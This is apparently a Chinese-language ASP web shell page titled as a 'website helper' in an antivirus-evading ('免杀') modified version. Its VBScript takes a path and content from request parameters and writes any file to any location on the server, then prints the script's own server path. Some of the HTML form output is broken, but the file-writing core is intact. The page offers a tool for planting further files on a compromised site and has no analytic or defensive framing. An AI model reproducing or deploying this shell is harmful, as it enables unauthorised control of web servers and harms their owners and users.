旁注 - 网站小助手旭方修改免杀版

旁注-网站小助手旭方修改免杀asp版 <%@LANGUAGE="VBScript" CODEPAGE="936"%> 旁注 - 网站小助手旭方修改免杀版

<% dim FSO %> <% dim Data %> <% dim MyFile %> <% on error resume next %> <% Set FSO = Server.CreateObject("Scripting.FileSystemObject") %> <% if Trim(request("path1"))<>"" then %> <% Data = request("path2") %> <% Set MyFile=FSO.CreateTextFile(request("path1"),True) %> <% MyFile.Write Data %> <% if err =0 then %> <% response.write "成功啦! :)" %> <% else %> <% response.write "失败啦! :(" %> <% end if %> <% err.clear %> <% end if %> <% MyFile.Close %> <% Set MyFile=Nothing %> <% Set FSO = Nothing %> <% Response.write "" %>

<% Response.write "本文件在服务器上的方位:" %> <%=server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>
<% Response.write "

输入路径：<% Response.Write "" %>

<% Response.write "输入内容：" %> <% Response.write "" %>

<% Response.write "" %>